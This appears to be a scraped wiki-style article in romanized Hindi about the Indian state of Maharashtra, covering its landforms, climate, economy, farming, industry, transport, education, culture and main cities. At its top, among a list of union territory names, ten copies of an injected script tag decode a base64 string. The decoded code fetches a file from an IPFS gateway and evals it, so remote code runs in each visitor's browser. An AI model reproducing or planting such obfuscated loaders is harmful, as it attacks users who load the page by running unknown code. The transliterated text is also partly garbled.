<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maharashtr mean kee prakar ki akarshak bhoo- akritiyaan haian. narmada nadi, jo vibhransh ghati se hokar bahati huee arab sagar mean girati hai, rajy ki uttari sima ke ek hisse ka nirman karati hai. arab sagar mean hi milane vali tapti nadi ki vibhransh ghati isaki uttari sima ke doosare hisse ko chihnit karati hai. ye do nadi ghatiyaan satapu da shriankhala namak utkhand se vibhakt hoti haian. tapti ghati ke dakshin mean arab sagar ke kinare koankan ka tatiy kshetr hai, jisake poorv mean pashchimi ghat ya sahyadri paha diyoan ke nam se vikhyat kagar sthit hai. sahyadri paha diyoan ki taraee koankan mean arab sagar se 6.4 kimi ki doori tak pahuanchati hai, koankan ka tatiy kinara sankara hai. isake bich-bich mean sahyadri paha diyoan ke parvatiy skandh haian aur is kshetr ko kee pashchimavarti drutagami nadiyaan apavahit karati haian: uttar mean sthit ulhas inamean sabase b di hai. sahyadri paha diyaan uttar-dakshin disha mean divar ki tarah lagabhag 640 kimi. tak lagatar sthit haian. lekin isase guzarane vale kee darre tatiy bhoomi aur bhitari kshetr ke bich mahattvapoorn s dak aur rel sanpark upalabdh karate haian. sahyadri ki poorvi dhalan ka utar dakkan ke pathar ki or kramik hai, jo poorv ki or dhalan vali godavari, bhima aur krishnaa nadi ki ghatiyoan dvara nirmit haian. in nadiyoan ke aant:pravah se mahadev, ajanta, balaghat aur any prarvat shriankhalaoan ko akar mila hai. maharashtr mean sthit ye parvat shriankhalaean aur ghatiyaan ruke hooe lave se nirmit haian. jinaki motaee kee sthanoan par 3,050 mitar hai. kee paha diyoan mean lave ke vibhinn prakar ke aparadan ke karan pathari samatal jaise oopari hisse se yukt sidhinuma kagar ki vishesh sanrachanaean ban gee haian. poorv mean nagapur ke bad yah pashit chattani kshetr samapt ho jata hai aur prachin ravedar chattanoan se bani bhoo-akriti shuroo ho jati hai. mahadev paha diyoan aur maikal shreni se age poorv ki or godavari nadi ki kee mahattvapoorn sahayak dharaane dakshin-poorv disha mean bahati haian, jiname vardha, venaganga aur penaganga sarvapramukh haian. is kshetr mean kee jhilean haian. sudoor poorv mean is kshetr mean kee vanachchhadit parvat hai, jo apekshakrit durgam haian.

jalavayu

mumbee tat par dakshin-pashchim m aaunasoon ki pahali barish joon ke pahale saptah mean hoti hai aur yah sitambar tak chalati hai. is dauran yahaan varshik varsha ka 80 pratishat darj kiya jata hai. samanyatah char mausam haian-

1. march-mee (garm v shushk)
2. joon-sitambar (garm v nam)
3. aktoobar-navanbar (ushn v shushk)
4. disanbar-faravari (thanda v shushk)

sahyadri tatha uttari shriankhalaean parvatiy avarodh ki bhoomika nibhati haian aur atyant nam vatavaran ko koankan tat ki pavanamukhi disha tak simit rakhati haian. pavanamukhi disha mean bhitari pathar apekshakrit shushk rahata hai. koankan mean ausat varsha 2,540 mimi hai aur sahmadri samet kuchh atyadhik varsha vale kshetroan mean 6,350 mimi tak varsha hoti hai. pashchimi ghat ke poorv mean koankan ki varsha ka matr paanchavaan hissa hi varsha hoti hai. paha diyoan ke anukool poorvi kshetroan mean varsha dar badhati chali jati hai, yahaan 1,016 se 2,032 mimi tak varsha darj ki gee hai. tatiy kshetroan mean tapaman samaroop rahata hai aur mumbee mean yah lagabhag 27° se. se kuchh kam ya zyada rahata hai. pune (bhootapoorv poona) ke pathar kshetr mean lagabhag sal bhar thanda mausam rahata hai. maharashtr ke madhyavarti aur poorvi hisse mean garmi ke mausam mean ausat tapaman 43° se. aur shit rritu mean lagabhag 20° se. hota hai. maharashtr mean varsha ki dar pratyek sal bhinn hoti hai, jisase nipatane ke lie, 20vian shatabdi ke uttarardh mean sianchaee ke sadhanoan ka vikas kiya gaya, taki fasaloan ko nasht hone se bachaya ja sake.

arthavyavastha

thumb|250px|b aaumbe uchch nyayalay niji aur sarvajanik udyamoan ke madhyam se maharashtr bharat ka ek suvikasit aur samriddh rajy ban gaya hai. vidyut utpadan is disha mean sabase mahattvapoorn sahayak karakoan mean se ek hai. maharashtr mean pashchimi ghat sthit jalaprapatoan ke zariye panabijali utpadan kiya jata hai. poorvi kshetroan mean tap- vidyut utpadan ki pradhanata hai. nagapur aur chandrapur mean b de tap vidyut grih sthit haian. bharat ka pahala paramanu bijali sanyantr muanbee se 113 kilomitar uttar mean sthit hai. bijali ki badhati huee maang ko poora karane ke lie ne vidyut sanyantr lagae ja rahe haian. maharashtr ke khanij sansadhanoan mean maianganij, koyala, choona- patthar, lauh ayask, taanba, b aauksait aur silikayukt ret shamil hai. inamean se adhikaansh khanij padarth, bhandara, nagapur aur chandrapur ziloan mean pae jate haian aur dakshin koankan mean bhi kuchh bhandar haian. sahyadri kshetr ke kee hissoan mean b aauksait bhi paya jata hai. b aaumbe haee mean haidrokarban ka utpadan bhi badh raha hai.

krishi

maharashtr ke lagabhag 65 pratishat shramik krishi tatha sanbandhit gatividhiyoan par nirbhar hai. yahaan ki pramukh fasalean haian- dhan, jh‍var, bajara, gehooan, toor (arahar), udad, chana aur dalahan. yah rajh‍y tilahanoan ka pramukh uth‍padak hai aur mooangaphali, soorajamukhi, soyabin pramukh tilahan fasalean hai. mahath‍vapoorn nakadi fasalean hai kapas, ganna, haldi aur sabjiyaan. rajh‍y mean 12.90 lakh hekh‍teyar kshetr mean vibhinh‍n prakar ke phal, jaise am, kela, santara, aangoor adi ki fasalean ugaee jati hai.

maharashtr ke do- tihaee nivasi krishak haian. fasal utpadan sunishchit karane ke lie vidyutikaran, unnat bijoan ka upayog, vyapak kheti aur kisanoan ko suvidha pradan karane jaise upay kie ja rahe haian. aparyapt tatha asaman varsha se nipatane ke lie kee sianchaee pariyojanaean banaee gee haian aur kee pariyojanaean nirmanadhin haian. fasaloan mean bajara, jvar aur dalahan pramukh hai. 1,016 milimitar se adhik varsha vale kshetroan mean chaval ki kheti hoti hai. nami dharan karane ki kshamata vale khetoan mean shit rritu mean gehooan ki fasal ugaee jati hai. 610-990 milimitar varsha vale kshetroan mean kapas, tanbakoo aur mooangaphali pramukh fasalean haian. ajakal bagavani par bhi zor diya ja raha hai. phaloan ki kheti mean aangoor, am, kela aur kajoo zyada lokapriy haian. sianchaee ki suvidha ne maharashtr bharat ka sabase b da ganna aur chini utpadak kshetr bana diya gaya hai. chini ne krishi- audyogik kshetroan ko badhava diya hai.

udyog

maharashtr ko poore desh ka audyogik kshamata ka keandr mana jata hai aur rajh‍y ki rajadhani muanbee desh ki vith‍tiy tatha vanijyik gatividhiyoan ka keandr hai. rajh‍y ki arthavh‍yavash‍tha mean audyogik kshetr ka mahath‍vapoorn sh‍than hai. khady uth‍pad, tanbakoo aur isase bani chizean, sooti kapada, kap de se bana saman, kagaz aur isase bani chizean, mudran aur prakashan, rabad, ph‍lastik, rasayan v rasayanik uth‍pad, mashinean bijali ki mashin, yantr v upakaran tatha parivahan upakaran aur unake kal purje adi ka rajh‍y ke audyogik uth‍padan mean mahath‍vapoorn yogadan hai. varsh 2005-06 mean audyogik uth‍padan (nirman) varsh 2004-05 ke muqabale 8.9 pratishat adhik raha. [[chitr:Mumbai-Tiffin-Wallah.jpg|thumb|250px|left|mumbee ka tifin vala]] mitti aparadan tatha krishi utpadoan ke bhandaran, parivahan aur vipanan ki samasyaoan ke mamale mean ullekhaniy saphalata mili hai. samudri machhali pak dane mean maharashtr ka sthan keral ke bad ata hai. yahaan ke sabase purane nirman karakhane sooti vastroan ki milean hai. halaanki kuchh bimar ikaiyaan haian, lekin inamean se adhikaansh muanbee aur nagapur ke vishalatam adhunik udyogoan ka hissa haian. muanbee-pune udyog kshetr mean is rajy ke sabase adhik bhari aur uchch praudyogiki vale udyog keandrit haian. 1976 mean muanbee ke pas samudr mean bharat ke pahale samudri tel kuean ki sthapana se petro rasayan udyog ka bhi kafi tezi se vikas hua hai. tel parishkaran aur krishi upakaran, parivahan upakaran, rab d utpad, bijali v tel ke panp, kharad, kanpresar, chini mil ki mashinari, taiparaitar, refrijaretar, ilektr aaunik upakaran, telivijan aur rediyo set jaisi vastuoan ka utpadan mahattvapoorn hota ja raha hai. yahaan vahan nirman udyog aranbhik avastha mean hai. banbee bharat ke film udyog ka rashtriy keandr hai. pavaraloom se vastrotpadan ke lie ichalakaranji aur malegaanv prasiddh haian. muanbee, nagapur, akola, amaravati aur solapur mean vibhinn prakar ke audyogik utpadanoan ka tezi se vikas ho raha hai. paranparik krishi udyog keandroan mean jalagaanv, dhule, kolhapur, saangali aur miraj shamil haian. nagapur, bhusaval, mahabaleshvar, ratnagiri aur muanbee mean phaloan ko dibbaband karane ka udyog arthik drishti se mahattvapoorn hai. yahaan ke vanotpadoan mean imarati lak di, baans, chandan aur teandoo patte (bi di banane ke kam ane vale) shamil haian. bekari ko bhi mahattv mil raha hai.

sianchaee aur bijali

joon 2005 ke aant tak 32 b di, 178 manjholi aur rajh‍y ke kshetr ki 2,274 laghu sianchaee pariyojanaean poori ho chuki thian isake alava 21 badi 39 manjholi sianchaee pariyojanaoan ka nirman kary jari hai. 2004 se 2005 mean rajh‍y mean kul sianchit kshetr 36.36 lakh hekh‍teyar tha. 2004-05 mean maharashtr ki kul sh‍thapit vidyut uth‍padan kshamata 12,909 megavat thi. rajh‍y mean ph‍laant lod phaikh‍tar (pi.el.eph) 81.6 pratishat tha aur bijali uth‍padan 68,507 karod kilovat ghanta tha.

parivahan

thumb|250px|maharashtr ka manachitr

s dak

march 2005 tak rajh‍y mean s dakoan ki kul lanbaee 2.29 lakh kimi thi, jisamean rashh‍triy rajamargoan ki lanbaee 4, 367 kimi praantiy rajamargoan ki 33,406 kimi, pramukh zila s dakoan ki 48,824 kimi, anh‍y zila s dakoan ki lanbaee 44,792 kimi aur gramin s dakoan ki kul lanbaee 97,913 kimi thi. sarvajanik kshetr ke nivesh mean pratyek gaanv ko kisi pramukh s dak ke 8 kilomitar ke dayare mean pahuancha diya hai. rajy ke rajamargoan ke bich chhute hue hissoan ko poora kar liya gaya hai tatha durgam kshetroan mean zila s dakoan ka vikas kar liya gaya hai. paanch rashtriy rajamarg is rajy ko dilli, ilahabad, kolakata (bhootapoorv kalakatta), haidarabad aur bangalor se jo date haian. in rajamargoan aur any s dakoan par trak parivahan mean bhari vriddhi huee hai. rajy parivahan ki basoan aur niji udyamiyoan dvara sanchalit vishesh basoan ke madhyam se savariyoan ke yatayat mean bhi vriddhi huee hai. [[chitr:Chhatrapati-Shivaji-Terminus.jpg|thumb|250px|left|chhatrapati shivaji tarminas, muanbee]]

relave

maharashtr mean 5,527 ki.mi. rel marg hai. isamean se lagabhag 78.6 pratishat b di rel lainean, 7.8 pratishat mitar gej tatha 13.6 pratishat chhoti rel lainean hai. parivahan pranaliyoan mean sabase pahala sthan muanbee mean keandrit rel netavark ka hai. muanbee aur arab sagar ke tatiy maidan ke shaharoan ko jo dane vale koankan relave ne ise mazabooti pradan ki hai. relamargoan par vardha aur nagapur mahattvapoorn jankshan haian.

uddayan

rajh‍y mean kul 24 havaee adde / havaee pattiyaan hai. inamean se 17 maharashtr sarakar ke niyantran mean hai. char havaee adde aantarrashh‍triy havaee adda pradhikaran / bharatiy havaee adda pradhikaran ke niyantran mean haian, j‍baki baki tin raksha mantralay ke adhin hai. rajh‍y sarakar ke niyantran vale havaee addoan par abhi vh‍yavasayik u danoan ki suvidha nahian hai. muanbee dainik havaee seva dvara pune, aurangabad, nagapur aur nasik aur bharat ke sabhi mahanagaroan se ju da hua hai. muanbee mean sthit aantarrashtriy havaee adda is nagar ko uttari amerika, yoorop, dakshin- poorv v dakshin eshiya, siangapur aur aaustreliya ke pramukh nagaroan se jo data hai.

bandaragah

aantardeshiy jal- parivahan ki bhoomika gaun hai. koankan tat ke bandaragahoan par zyada dhyan diya ja raha hai. mumbanee pramukh bandaragah hai. rajh‍y mean do b de aur 48 chhote adhisoochit bandaragah haian.

shiksha

[[chitr:Infosys-Campus-Pune.jpg|thumb|250px|inphosis, pune]] hal ke dashakoan mean is maharashtr ne shiksha ke kshetr mean pragati ki hai. ab saksharata dar (2001 janaganana) 77.27 pratishat hai, stri saksharata dar 67.51 pratishat, purush 86.27 pratishat hai. bich mean padhaee chho dakar chale jane valoan ke ooanche pratishat, sthan ki kami, aparyapt pustakalay aur sahayogi upakaranoan ke abhav ke bavajood prathamik aur madhyamik shiksha tatha shikshak prashikshan ke kshetr mean vikas hua hai. yahaan ke shaikshanik sansthanoan mean muanbee vishvavidyalay, nagapur vishvavidyalay, pune vishvavidyalay, shivaji vishvavidyalay (kolhapur), es. en. di. ti. mahila vishvavidyalay (muanbee), uttari maharashtr vishvavidyalay (jalagaanv), amaravati vishvavidyalay, bharat vidyapith (pune), kendriy matsy palan sansthan (muanbee), dkkan k aaulej post grejuet aiand risarch ianstityoot (pune), daktar panjabarav deshamukh krishi vidyapith (akola), gokhale ianstityoot aauf p aaulitiks aiand ikon aaumiks (pune), iandira gaandhi ianstityoot aauf devalapameant risarch, iantaraneshanal ianstityoot f aaur papuleshan saiansez (muanbee), tata ianstityoot aauf soshal saiansaz, kavi guru kalidas sanskrit vishvavidyalayamh (ramatek), koankan krishi vidyapith (dapoli), mahatma gaandhi aantarrashtriy hindi vishvavidyalay (vardha), mahatma gaandhi phule vidyapith (rahu di) aur yashavantarav chavhan maharashtr vishvavidyalay (nasik) shamil haian. thumb|left|pune vishvavidyalay muanbee mean iandiyan ianstityoot aauf teknol aauji bhi hai. ianjiniyariang k aaulej, p aauliteknik aur audyogik sansthan takaniki skool n ho. shiksha tatha prashikshan ki nigarani aur prayojan ke lie shiksha, uchch shiksha aur takaniki shiksha nideshalay haian. maharashtr mean keandr aur rajy sarakar dvara prayojit kuchh agrani anusandhan sansthan bhi haian. ye sansthan jal tatha vidyut, ushnakatibandhiy mausam vijnan, rasayan vijnan, paryavaran abhiyaantriki, paramanu anusandhan, vastr anusandhan, mrida sarvekshan aur bhoo- upayog niyojan se sanbandh rakhate haian. ye mukhyat: muanbee, pune aur nagapur mean sthit haian. inake alava sarvajanik prabandhan ke tahat 60 se adhik sansthan haian, jo manaviki aur vijnan mean shodh ko badhava dene ke uddeshy se sthapit kie ge haian. inamean se kuchh sansthan, jaise bhandarakar orieantal risarch ianstityoot aur dakkan k aaulej ko aantarrashtriy manyata mili hai. rajy ke shiksha karyakramoan mean mahattvapoorn sahayog pratiraksha mantralay dvara sanchalit shikshan aur prashikshan pathyakramoan se milata hai. pune ke pas kh dakavasala mean sthit neshanal difeans akaidami ek mahattvapoorn sansthan hai, jo sashastr senaoan ko adhikari upalabdh karane ke lie kaidetoan ko prashikshan deta hai. k aaulej aauf militri ianjiniyariang (kh dakavasala), armd forses medikal k aaulej (pune), narsoan ke prashikshan, nausainik abhiyaantriki aur sharirik shiksha ke sansthan bhi haian. sainik skool aur rashtriy kaidit kor, sainik prashikshan upalabdh karate haian. visphotak, shastr praudyogiki, vahan anusandhan ke vikas evan shodh ke lie sansthan aur samudri, rasayanik tatha dhatvik prayogashalaean bhi haian.

saanskritik jivan

maharashtr ka saanskritik jivan prachin bharatiy sanskriti, sabhyata aur aitihasik ghatanaoan ke prabhavoan ka mishran hai. marathi bhasha aur marathi sahity ka vikas maharashtr ki saanskritik pahachan ki abhivyakti hai. sthaniy v kshetriy devataoan ke prati bhakti, jnaneshvar v tukaram jaise sant kaviyoan ki shikshaoan aur chhatrapati shivaji v any rajanitik tatha samajik netaoan ke prati adarabhav, maharashtr ki sanskriti ki vishesh pahachan hai. kolhapur, tulajapur, pandharapur, nasik, akola, phaltan, aanbejogaee aur chipaloon v any dharmik sthaloan par door-door se shraddhalu ate haian. meloan aur tyoharoan ka bhi mahatv kam nahian hai. maharashtr ke saanskritik jivan mean ganesh chaturthi, ramanavami, any sthaniy v kshetriy mele aur tyohar mahattvapoorn sthan rakhate haian. inake dvara logoan ka sthaniy tatha kshetriy mel-milap hota hai aur ye samajik ekata ko badhava dete haian. andh dharmoan ke tyoharoan mean bhi log b di sankhya mean shamil hote haian, jo saanskritik jivan ke mahanagariy charitr ko darshata hai. ‘mahanubhav mat’ aur d aauktar bhimarav ambedakar dvara punarjivit kie ge bauddh dharm se saanskritik jivan ko naya ayam mila hai.

rangamanch

[[chitr:Ratnagiri.jpg|thumb|250px|ratnagiri ka ek drishy]] 1990 ke dashak mean maharashtr mean rangamanch par vishesh dhyan diya gaya; vi. khadilakar aur vijay teandulakar jaise natakakar aur balagandharv jaise kalakaroan ne marathi natak ko kala ke roop mean sthapit kar diya. bharat ke film udyog ki shuruat ka shrey dada sahab phalke aur baboorav peantar jaise agraniyoan ko jata hai. pune ki prabhat film kampani, sant tukaram aur jnaneshvar ke nirman ke lie prasiddh huee. hindi sinema ke kshetr mean nana patekar aur madhuri dikshit jaise marathi kalakar vishesh roop se saphal rahe haian. marathi sahity ki hi tarah maharashtr mean sangit ki bhi prachin parampara hai. lagabhag 14vian shatabdi mean isaka mel bharatiy sangit se hua. adhunik kal mean pandit paluskar aur pandit bhatakhande ne bharatiy shastriy sangit ko nee disha di. vilayat husain, alla rakkha jaise any vadakoan ki bhoomika bhi kam mahattvapoorn nahian hai. aj pandit bhimasen joshi aur lata mangeshakar jaise gayak maharashtr ke saanskritik jivan mean sangit ki mahattvapoorn bhoomika ka pratinidhitv karate haian. maharashtr mean kala ki bhi prachin parampara hai, jo ajanta v elora ki gufaoan, vastr, sone-chaandi ke abhooshan, lak di ke khilaunoan, cham de ke saman aur mitti ke bartan ki dizainoan mean dekha ja sakata hai.

1833 mean sthapit sar je.je skool aauf art, kala shiksha ke kshetr mean pahala adhunik sansthan tha. ab maharashtr ke adhikaansh nagaroan aur b de shaharoan mean kala sansthan haian. shastriy nrity shailiyoan ne pratibhaoan ko akarshit kiya hai aur pune jaise b de nagaroan mean inake prashikshan vidyalay phal-phool rahe haian. lavani (roomani git), pova da (ojasvi nrity) aur tamasha jaisi sangit, natak v nrity se yukt lokakathaean punarjivit huee haian. kala aur film nideshalay aur sahity aur sanskriti bord, rajy sarakar ki gahari ruchi ke parichayak haian. maharashtr ki sanskriti ka prabhav maharashtr se bahar bhi phaila hai. bhootapoorv maratha samrajy ki rajadhaniyaan, jaise b dauda (ab vadodara), gvaliyar aur any nagaroan mean maharashtr mandal isamean sakriy bhoomika nibhate haian.

janasankhya

maharashtr ki janasankhya sanh 2001 mean 96,752,247 thi, vishv mean keval gyarah aise desh haian jinaki janasankhya maharashtr pradesh se zyada hai.

paryatan sh‍thal

yahaan ke mahath‍vapoorn paryatan keandr hai ajanta, elora, elipheanta, kanheri gufaean, pitalakhora aur karala guphaean, mahabaleshvar, matheran aur panchagani, javahar, malashej ghat, aanboli, chikaladhara aur panh‍hala parvatiy sh‍thal. pandharapur, nashik, shiradi, naanded, audhanaganath, trayanbakevar, tulajapur, ganapatipule, bhimashankar, harihareshh‍var, shegav, kolhapur, jejuri tatha aanbajogee dharmik sh‍than hai. [[chitr:Bibi-Ka-Maqbara-Aurangabad.jpg|thumb|250px|left|bibi ka maqabara, aurangabad]]

pramukh nagar

bharat desh mean maharashtr sabase b da audyogik prant hai. muanbee, pune, aurangabad, nagapur aur nasik maharashtr ke bade shaharoan mean gine jate haian. yahaan ke nivasiyoan ki matribhasha marathi hai aur yahaan ke logoan ko maharashtriyan kaha jata hai. paha di nagaroan mean 'mahabaleshvar' aur 'matheran' kafi prasiddh hai. chhuttiyoan ke samay in nagaroan mean bahut hi bhi d hoti hai aur mausam bhi bahut suhavana hota hai. dharmik nagaroan mean nashik ke kafi nazadik shirdi nagar hai. is nagar ka saeean baba ka mandir bahut hi prasiddh hai. isi tarah muanbee ka 'mahalakshmi mandir' aur pune ke 'dagadoosheth ganapati mandir' bahut hi adhik khyati prapt haian.

muanbee

muanbee poorvi nyooy aaurk ke nam se bhi vikhyat hai. muanbee mean chaupati, getave aauf indiya, prins vels myuziyam, elifenta kevs aur madaeelॅnd bahut hi prasiddh hai.

pune

pune maharashtr ka sanskriti pradhan nagar mana jata hai. shanivaravada, lal mahal, sianhagadh jaise aitihasik sthan haian. pune ka aee.ti. park aur lakshmi rod kafi jana mana hai.

aurangabad

[[chitr:Gateway-Of-India-Mumbai.jpg|thumb|250px|getave aauf indiya, mumbee]] aurangabad nagar maharashtr ke madhy bhag mean sthit hai. yahaan ke ajanta-elora kevs vishv prasiddh haian. in guphaoan mean buddh ke takshan banaye gaye haian.

nagapur

nagapur ek bahut hi sundar shahar hai aur yahaan ke santare poori duniya mean jane mane haian.

nasik

nasik ek kafi sundar shahar hai aur yahaan ka mausam suhana hai. nashik ke kalaram aur doosare mandir vikhyat hai aur log godavari nadi mean nahana pavitr samajhate haian.

nandurabar

nandurabar nagar bharat mean maharashtr rajy ke dhooliya zile mean pashchimi ghat ke parvatoan ke uttari chhor par dhooliya se 45 mil uttar-pashchim mean sthit hai.

any nagar

• maharashtr ke barar mean amaravati ke uttar mean sthit elichapur madhyakal ka jana pahachana nagar tha.
• maharashtr ke vardha zile mean sthit pavanar ek mahattvapoorn sthan hai. pavanar ki pahachan vakatakoan ki rajadhani prachin pravarapur se ki jati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

vithika

• chitr:Chhatrapati-Shahu-Museum-Kolhapur.jpg

  chhatrapati sahoo sangrahalay, kolhapur

• chitr:Bhaja.jpg

  bhaja

• chitr:Ajanta-Caves-Aurangabad-Maharashtra-1.jpg

  ajanta ki guphaean, aurangabad

• chitr:Snakes-Katraj-Snake-Park-Pune.jpg

  sarp, kataraj sarp udyan, pune

• chitr:Ellora-Caves-Aurangabad-Maharashtra-1.jpg

  elora ki guphaean, aurangabad

• chitr:Arnala.jpg

  aranala durg, muanbee

• chitr:Ellora-Caves-Aurangabad-Maharashtra-2.jpg

  elora ki guphaean, aurangabad

• chitr:Bajirao-Statue-Shaniwar-Wada-Pune.jpg

  bajirav ki pratima, shanivar va da, pune

• chitr:Sunset-At-Khandala.jpg

  khandala mean sooryast ka drishy

• chitr:Ajanta-Caves-Aurangabad-Maharashtra-2.jpg

  ajanta ki guphaean, aurangabad

• chitr:Raja-Dinkar-Kelkar-Museum.jpg

  raja dinakar kelakar sangrahalay, pune

• chitr:Shivneri-Fort-Junnar.jpg

  shivaneri durg, junnar

• chitr:Satpura-Mountain-Range.jpg

  satapu da parvatashreni

sanbandhit lekh

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